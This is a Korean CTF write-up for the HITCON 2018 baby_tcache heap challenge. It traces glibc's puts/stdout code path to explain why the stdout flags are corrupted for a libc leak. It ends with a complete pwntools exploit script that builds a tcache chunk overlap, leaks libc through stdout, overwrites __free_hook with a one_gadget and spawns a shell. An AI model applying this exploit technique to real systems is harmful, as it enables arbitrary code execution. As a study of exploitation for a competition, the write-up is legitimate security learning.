1. Reversing

 baby_tcache 바이너리는 children_tcache와 매우 유사하다.

 

 대신에 children_tcache에서 제공되었던 Show_heap 기능이 없어졌다.

 

 또한 New heap으로 새로운 heap에 data를 쓸 때 strcpy를 사용하지 않기 때문에 null byte에서 끊기지 않는다. 

 

 

2. Exploit

 

 Exploit flow도 children_tcache와 유사하지만 제일 다른 점은 Show_heap이 없기 때문에 

 

 stdout 구조체에 heap을 할당하여 구조체의 flag를 바꿔 puts함수가 실행될 때 leak이 되게끔 진행한다.

 

 1. puts 호출

int
_IO_puts (const char *str)
{
  int result = EOF;
  size_t len = strlen (str);
  _IO_acquire_lock (stdout);
  if ((_IO_vtable_offset (stdout) != 0
       || _IO_fwide (stdout, -1) == -1)
      && _IO_sputn (stdout, str, len) == len
      && _IO_putc_unlocked ('\n', stdout) != EOF)
    result = MIN (INT_MAX, len + 1);
  _IO_release_lock (stdout);
  return result;
}

 

 2. _IO_sputn (stdout, str, len) 호출

#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
                                       + offsetof(TYPE, MEMBER)))
                                       
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

#define _IO_JUMPS_FILE_plus(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)

# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)

#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)

#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n) // == _IO_sputn DEFINE ==


struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_file_finish),
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_file_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_new_file_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, _IO_new_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

 _IO_sputn은 위의 매크로를 타고 가게 되면 최종적으로 vtable의 xsputn이 호출되게 되는데

 

 해당 포인터는 _IO_file_xsputn을 가리키고 있고 _IO_file_xsputn은 _IO_new_file_xsputn을 의미한다.

 

 (libc_hidden_ver 매크로를 더 분석해봐야됨. 확실하지 않음)

 

 

 3. _IO_new_file_xsputn

size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
  const char *s = (const char *) data;
  size_t to_do = n;
  int must_flush = 0;
  size_t count = 0;
  if (n <= 0)
    return 0;
  /* This is an optimized implementation.
     If the amount to be written straddles a block boundary
     (or the filebuf is unbuffered), use sys_write directly. */
  /* First figure out how much space is available in the buffer. */
  if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
    {
      count = f->_IO_buf_end - f->_IO_write_ptr;
      if (count >= n)
        {
          const char *p;
          for (p = s + n; p > s; )
            {
              if (*--p == '\n')
                {
                  count = p - s + 1;
                  must_flush = 1;
                  break;
                }
            }
        }
    }
  else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
  /* Then fill the buffer. */
  if (count > 0)
    {
      if (count > to_do)
        count = to_do;
      f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
      s += count;
      to_do -= count;
    }
  if (to_do + must_flush > 0)
    {
      size_t block_size, do_write;
      /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)
        /* If nothing else has to be written we must not signal the
           caller that everything has been written.  */
        return to_do == 0 ? EOF : n - to_do;
      /* Try to maintain alignment: write a whole number of blocks.  */
      block_size = f->_IO_buf_end - f->_IO_buf_base;
      do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
      if (do_write)
        {
          count = new_do_write (f, s, do_write);
          to_do -= count;
          if (count < do_write)
            return n - to_do;
        }
      /* Now write out the remainder.  Normally, this will fit in the
         buffer, but it's somewhat messier for line-buffered files,
         so we let _IO_default_xsputn handle the general case. */
      if (to_do)
        to_do -= _IO_default_xsputn (f, s+do_write, to_do);
    }
  return n - to_do;
}

 _IO_new_file_xsputn에서 _IO_OVERFLOW(f, EOF)를 호출한다. 

 

 

 4. _IO_OVERFLOW ( JUMP_INIT(overflow, _IO_file_overflow) 이므로 _IO_new_file_overflow 호출) 

int
_IO_new_file_overflow (FILE *f, int ch)
{

  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */  // stdout flag's first condition
    {
      ...
    }
    
  /* If currently reading or no buffer allocated. */ 
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {               // stdout flag's second condition
      ...
    }
    
  if (ch == EOF) // Our target
    return _IO_do_write (f, f->_IO_write_base,
                         f->_IO_write_ptr - f->_IO_write_base);
                         
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
      return EOF;
      
  *f->_IO_write_ptr++ = ch;
  if ((f->_flags & _IO_UNBUFFERED)
      || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
    if (_IO_do_write (f, f->_IO_write_base,
                      f->_IO_write_ptr - f->_IO_write_base) == EOF)
      return EOF;
      
  return (unsigned char) ch;
  
}

libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)

 _IO_new_file_overflow에서 _IO_do_write를 호출하는 부분으로 가야되기 때문에 

 

 first condition은 error처리 하는 부분이기 때문에 피해야 되고

 

 second condition은 stdout의 _IO_write_base의 값을 바꿔주기 때문에 피해야 된다.

 

 이렇게 _IO_do_wirte를 호출하게 되면 

 

 

 5. _IO_do_write ( libc_hidden_ver (_IO_new_do_write, _IO_do_write) )

int
_IO_new_do_write (FILE *fp, const char *data, size_t to_do)
{
  return (to_do == 0
          || (size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}

 

 

 6. new_do_write

static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
  size_t count;
      // stdout flag's third condition
  if (fp->_flags & _IO_IS_APPENDING) 
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
    
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      off64_t new_pos
        = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
        return 0;
      fp->_offset = new_pos;
    }
  // _IO_SYSWRITE (stdout, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base);
  count = _IO_SYSWRITE (fp, data, to_do); 
  
  ...
  return count;
}

 

 new_do_write의 첫 번째를 만족시키지 못하고 else if문에 들어가게 되면 대부분의 상황에서 참이 되어 조건문이 실행되기 때문에

 

 첫 번째 조건문을 만족시켜 두 번쨰 조건문을 피해야된다.

 

 그렇게 되면 _IO_SYSWRITE(stdout, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base)을 실행하여

 

 leak이 성공할 수 있다.

 

 flag의 condition을 요약하자면

 

 1. f->_flags & _IO_NO_WRITES == 0

 2. (f->_flags & _IO_CURRENTLY_PUTTING) != 0

 3. fp->_flags & _IO_IS_APPENDING != 0

 

 을 만족해야된다. 

 

 따라서 flag는 

_flags = 0xfbad0000 // Magic number
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800

 0xfbad1800이 된다.

 

 write_base의 마지막 byte가 0x08로 덮어지게 되면 write_base는 _IO_2_1_stderr_+136를 가리키기 때문에

 

 _IO_2_1_stderr_+136에 libc 주소가 있어서 해당 주소를 통해서 libc base를 구해 나머지 라이브러리의 주소를 구하면 된다.

 

 나머지는 동일하게 진행하면 문제 없다.

 

 주의해야될 점은 stdout struct에 heap을 할당하기 위해서 tcache의 next의 마지막 2byte를 수정하는데

 

 마지막 offset이 0x760인것은 확실하지만 그 앞에 한 자리가 random이므로 brute force로 1/16 확률로 익스가 가능하다.

 

 (stdout_IO_FILE 구조체의 offset => 0x*760 이기 때문에..)

 

 

3. slv.py

 

from pwn import *
import sys
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
script = '''
b* 0xc6b
b* 0xd85
b* 0xedc
'''
p = process('./baby_tcache')
e = ELF('./baby_tcache')
#libc = ELF('libc.so.6')
#libc_puts = libc.symbols['puts']
#libc_system = libc.symbols['system']

heap_index = [False for i in range(10)]
tcache = [-1 for i in range(7)]

def create_heap(size, data):
    p.recv()
    p.sendline('1')
    
    p.recv()
    p.sendline(str(size))

    p.recv()
    p.send(data)
    
    for i in range(10):
        if heap_index[i] is False:
            index = i
            heap_index[i] = True
            break


    return index

def delete_heap(index):
    p.recv()
    p.sendline('2')

    p.recv()
    p.sendline(str(index))
    
    heap_index[index] = False

    return

def exit_binary():
    p.recv()
    p.sendline('3')
    
    return

def exploit():
    
    a = create_heap(0xf0, 'a')
    b = create_heap(0x108,'b')
    c = create_heap(0x4f0,'d')
    
    for i in range(7):
        tcache[i] = create_heap(0xf8, 't')
        
    for i in range(7):
        delete_heap(tcache[i])
     
    for i in range(6):
        tcache[i] = create_heap(0x108,'t')
        
    for i in range(6):
        delete_heap(tcache[i])
    
    delete_heap(b)
    delete_heap(a)
    
    payload = ''
    payload += 'b'*0x100
    payload += p64(0x210)
    
    b = create_heap(0x108, payload)
    
    # Overlapping
    delete_heap(c)
    
    delete_heap(b)
    
    
    for i in range(7):
        tcache[i] = create_heap(0xf8 ,'t')
    
    a = create_heap(0xf8, 'a')
    
    for i in range(7):
        delete_heap(tcache[i])
    
    b = create_heap(0x130, p16(0x1760)) # brute force 1/16
    
    tcache_b = create_heap(0x108, '\x60')
    
    payload = ''
    payload += p64(0xfbad1800) # stdout_flag
    payload += p64(0x0)        # stdout_IO_read_ptr
    payload += p64(0x0)        # stdout_IO_read_end
    payload += p64(0x0)        # stdout_IO_read_base
    payload += "\x08"          # stdout_IO_write_base's last one byte
    
    stdout_heap = create_heap(0x108, payload)
    
    leak = u64(p.recvuntil('$')[:8]) # Leak success
    
    libc_base = leak - 0x3ed8b0 # location at _IO_2_1_stderr_+136
    
    log.info('libc_base : ' + hex(libc_base))
    
    free_hook_Addr = libc_base + 0x3ed8e8
    oneshot_gadget = libc_base + 0x4f322
    
    delete_heap(b)
    delete_heap(tcache_b)
    
    create_heap(0x130, p64(free_hook_Addr))
    create_heap(0x130, p64(0xdeadbeef))
    create_heap(0x130, p64(oneshot_gadget))
    
    delete_heap(a)
    
    p.interactive()
    
    
def main():

    exploit()
    
    return  

if __name__ == '__main__':
    main()

 

 

[깨달은 점 및 부족한 점]

 

 1. stdout _IO_FILE 구조체를 수정해 leak이 가능하다.

 

 2. FSOP에 관하여 공부해보자.

 

[Reference]

 

https://wally0813.github.io/exploit%20tech/ctf%20write%20up/2018/10/23/file_struct_flag/

https://sunichi.github.io/2018/11/29/leak-from-stdout/

'System > Hitcon 2018' 카테고리의 다른 글

[Hitcon 2018] - children_tcache - 190825  (0) 2019.08.25

+ Recent posts